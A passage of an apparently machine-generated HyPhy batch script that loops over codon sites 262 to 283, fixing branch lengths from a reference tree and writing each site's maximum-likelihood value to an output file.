differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"262\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 263...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"786,787,788\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 263\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"263\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 264...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"789,790,791\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 264\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"264\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 265...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"792,793,794\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 265\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"265\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 266...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"795,796,797\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 266\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"266\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 267...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"798,799,800\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 267\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"267\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 268...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"801,802,803\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 268\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"268\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 269...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"804,805,806\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 269\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"269\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 270...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"807,808,809\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 270\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"270\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 271...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"810,811,812\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 271\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"271\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 272...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"813,814,815\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 272\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"272\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 273...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"816,817,818\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 273\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"273\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 274...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"819,820,821\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 274\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"274\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 275...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"822,823,824\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 275\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"275\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 276...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"825,826,827\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 276\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"276\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 277...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"828,829,830\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 277\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"277\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 278...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"831,832,833\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 278\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"278\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 279...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"834,835,836\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 279\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"279\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 280...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"837,838,839\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 280\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"280\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 281...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"840,841,842\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 281\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"281\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 282...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"843,844,845\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 282\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"282\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 283...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"846,847,848\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 283\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = 